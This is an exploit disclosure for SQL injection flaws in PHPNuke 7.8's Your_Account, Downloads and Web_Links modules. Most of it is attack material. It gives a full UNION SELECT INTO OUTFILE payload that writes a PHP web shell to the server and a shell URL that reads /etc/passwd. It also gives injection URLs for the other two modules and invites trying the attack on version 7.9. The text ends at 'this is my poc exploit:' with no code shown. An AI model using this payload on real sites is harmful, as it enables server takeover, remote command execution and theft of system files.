PHPNuke 7.8 with all security fixes/patches "Downloads", "Web_Links" & "Your_Account"
SQL INjection -> remote commands execution poc exploit
there are a lot of unsanitized vars in every module, as I can see, so
if magic_quotes_gpc is Off -> SQL INJECTION
1) you can go to "Your Account" and submit a username like this:
' UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo "Hi Master";ini_set("max_execution_time",0);system($_GET[cmd]);die;?>',0 INTO OUTFILE '../../WWW/PHPNUKE/shell.php' FROM nuke_users/*
login field is too small to do it manually but you can see my poc below
to create a shell.php file in a writable directory
the launch commands:
http://[target]/[path_to_shell]/shell.php?cmd=cat%20/etc/passwd
2) the same in "Downloads" module:
http://[target]/[path]/modules.php?name=Downloads&d_op=Add&url=[SQL]&title=what&description=what
3) ... and in "Web_links" module:
http://[target]/[path]/modules.php?name=Web_Links&l_op=Add&title=what&description=[SQL]&url=what
I have not seen 7.9 version but it can be also vulnerable, try it on it,
this is my poc exploit:
